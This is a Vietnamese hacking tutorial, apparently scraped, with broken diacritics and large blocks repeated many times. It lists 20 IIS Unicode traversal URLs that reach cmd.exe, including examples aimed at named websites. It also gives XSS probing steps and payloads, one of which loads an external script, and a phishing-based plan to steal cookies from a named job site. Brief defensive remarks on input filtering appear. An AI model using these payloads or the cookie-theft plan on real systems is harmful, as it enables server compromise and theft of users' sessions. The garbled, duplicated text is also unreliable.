httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
